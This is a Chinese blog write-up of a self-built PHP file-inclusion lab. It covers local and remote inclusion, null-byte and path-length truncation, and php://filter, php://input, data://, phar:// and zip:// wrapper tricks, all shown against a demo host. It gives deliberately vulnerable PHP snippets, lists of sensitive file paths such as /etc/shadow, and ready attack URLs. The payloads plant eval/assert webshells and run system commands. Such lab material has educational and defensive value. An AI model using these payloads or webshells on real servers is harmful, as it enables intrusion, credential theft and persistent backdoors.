zoukankan      html  css  js  c++  java
  • 文件包含漏洞实战靶场笔记

     记录下自己写的文件包含漏洞靶场的write up,包括了大部分的文件包含漏洞实战场景,做个笔记。

    0x01 无过滤的本地文件包含

    <?php
    $page = isset($_GET['page'])?$_GET['page']:'';
    include "$page";
    
    ?> 

    没有任何过滤,可以包含一些敏感文件

    常见的敏感信息路径:
    
    Windows系统
    
    c:oot.ini // 查看系统版本
    
    c:windowssystem32inetsrvMetaBase.xml // IIS配置文件
    
    c:windows
    epairsam // 存储Windows系统初次安装的密码
    
    c:ProgramFilesmysqlmy.ini // MySQL配置
    
    c:ProgramFilesmysqldatamysqluser.MYD // MySQL root密码
    
    c:windowsphp.ini // php 配置信息
    
    Linux/Unix系统
    
    /etc/passwd // 账户信息
    
    /etc/shadow // 账户密码文件
    
    /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
    
    /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
    
    /usr/local/app/php5/lib/php.ini // PHP相关配置
    
    /etc/httpd/conf/httpd.conf // Apache配置文件
    
    /etc/my.conf // mysql 配置文件

    0x02 session文件包含漏洞getshell

    session的存储位置可以获取。

     通过phpinfo的信息可以获取到session的存储位置。

    通过phpinfo的信息,获取到session.save_path为E:phpstudy mp mp

    也可以通过猜测默认的session存放位置进行尝试。

    如linux下默认存储在/var/lib/php/session目录下:

    session中的内容可以被控制,传入恶意代码。

    <?php
    session_start();
    $page = isset($_GET['page'])?$_GET['page']:'';
    $_SESSION["name"]=$page;
    ?> 

    这里会将获取到的GET型ctfs变量的值存入到session中。

    当访问后会在目录下存储session的值。

    session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取。

    可以看到这里将接收到的值写入了session文件中,那么我们可以写入一句话木马,然后包含这个session文件就可以getshell了

    写入并访问:

    http://www.include_demo.com/include_2.php?page=<?php @assert($_POST['x']);?>

    服务端可以看到我们已经写入了session文件

    包含有一句话木马的文件:

    http://www.include_demo.com/include_1.php?page=E:phpstudy	mp	mpsess_d8idj2dlo37n5n64tevlobn075

     

    文件包含中的小tips很多可以成为你隐藏shell的小技巧哦~~

    0x03 00截断的本地文件包含

    条件:magic_quotes_gpc = Off php版本<5.3.4

    00截断都是没开gpc和5.3之前~~~

    <?php
    $page = isset($_GET['page'])?$_GET['page']:'';
    include($page. ".html");
    ?> 

    访问

    http://www.include_demo.com/include_3.php?page=info.php%00

     0x04 路径长度截断的本地文件包含

    除了00截断 ,也可以通过长度截断~

    条件:windows OS,点号需要长于256;linux OS 长于4096

    Windows下目录最大长度为256字节,超出的部分会被丢弃;

    Linux下目录最大长度为4096字节,超出的部分会被丢弃。

    http://www.include_demo.com/include_3.php?page=info.php/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././http://www.include_demo.com/include_3.php?page=info.php/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

    当然也可以点号来截断

    http://www.include_demo.com/include_3.php?page=info.php.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

    0x05 无过滤的远程文件包含

    RFI条件

    allow_url_fopen = On(是否允许打开远程文件)

    allow_url_include = On(是否允许include/require远程文件)

    <?php
    $page = isset($_GET['page'])?$_GET['page']:'';
    include "$page";
    
    ?> 
    http://www.include_demo.com/include_5.php?page=http://www.include_demo.com/info.txt

     0x06 截断符号绕过的远程文件包含

    代码中多添加了html后缀,导致远程包含的文件也会多一个html后缀。

     可以使用问号、#号、%20绕过

    http://www.include_demo.com/include_6.php?page=http://www.include_demo.com/info.txt?
    
    http://www.include_demo.com/include_6.php?page=http://www.include_demo.com/info.txt%23
    
    http://www.include_demo.com/include_6.php?page=http://www.include_demo.com/info.txt%20

    0x07 php://filter伪协议读取文件

    php://filter(本地磁盘文件进行读取)

    元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。

    用法:?filename=php://filter/convert.base64-encode/resource=xxx.php 和?filename=php://filter/read=convert.base64-encode/resource=xxx.php 一样。

    条件:只是读取,需要开启 allow_url_fopen,不需要开启 allow_url_include;

    <?php
        $filename  = $_GET['filename'];
        include($filename);
    ?>

    访问:

    http://www.include_demo.com/include_7.php?page=php://filter/convert.base64-encode/resource=info.php
    
    
    http://www.include_demo.com/include_7.php?page=php://filter/read=convert.base64-encode/resource=info.php 

    0x08 php://input伪协议写入木马getshell

    php://input

    可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据 enctype=”multipart/form-data” 的时候 php://input 是无效的

    用法:?file=php://input 数据利用POST传过去。

    php://input (写入木马)

    <?php
    $page = isset($_GET['page'])?$_GET['page']:'';
    include "$page";
    ?> 

    条件:php配置文件中需同时开启 allow_url_fopenallow_url_include(PHP < 5.3.0),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行。

    如果POST的数据是执行写入一句话木马的PHP代码,就会在当前目录下写入一个木马。

    <?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

     0x09 php://input伪协议命令执行

     条件:php配置文件中需同时开启 allow_url_fopenallow_url_include(PHP < 5.30),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行;

    <?php system('ipconfig');?>

    0x0A file://伪协议读取文件

    通过file协议可以访问本地文件系统,读取到文件的内容

    http://www.include_demo.com/include_0A.php?page=file://c:/boot.ini

    0x0B  data://伪协议一句话木马getshell

    data://伪协议

    数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的; data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4

    如果php.ini里的allow_url_include=On(PHP < 5.3.0),就可以造成任意代码执行,同理在这就可以理解成远程文件包含漏洞(RFI) 测试代码:

    http://www.include_demo.com/include_0B.php?page=data://text/plain;base64,PD9waHAgYXNzZXJ0KCRfUE9TVFsnWCddKTs=

    0x0C phar://伪协议解压zip文件为php文件

    这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压

    用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。 步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。 

    服务端新建一个shell.php,里面写入phpinfo,然后把这个shell.php添加zip压缩包,改后缀为png

    http://www.include_demo.com/include_0C.php?page=phar://shell.png/shell.php

    0x0D zip://伪协议解压zip文件为php文件

    zip://伪协议

    zip伪协议和phar协议类似,但是用法不一样。

    用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php。

    条件: PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4 才可以 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。

    http://www.include_demo.com/include_0D.php?page=zip://shell.png%23shell.php
    静有所思,思有所想

    ------------------------------------------------------------------------------------

    联系 Qq/Wechat:779783493
  • 相关阅读:
    【Linux安全】安全口令策略设置
    【Linux安全】防止 root 用户远程登录
    【Linux安全】防止任意用户使用 su 切换到 root
    /etc/passwd 结构
    【安全组网】思科IOS设备基础应用
    关于Apache Struts 2 S2-032高危漏洞的一些确认
    [企业级linux安全管理]- 主机安全管理
    [企业级linux安全管理]- 系统日志管理
    [企业级linux安全管理]- 安全管理基础(1)
    编码识别工具:hash-identifier
  • 原文地址:https://www.cnblogs.com/-qing-/p/11039954.html
Copyright © 2011-2022 走看看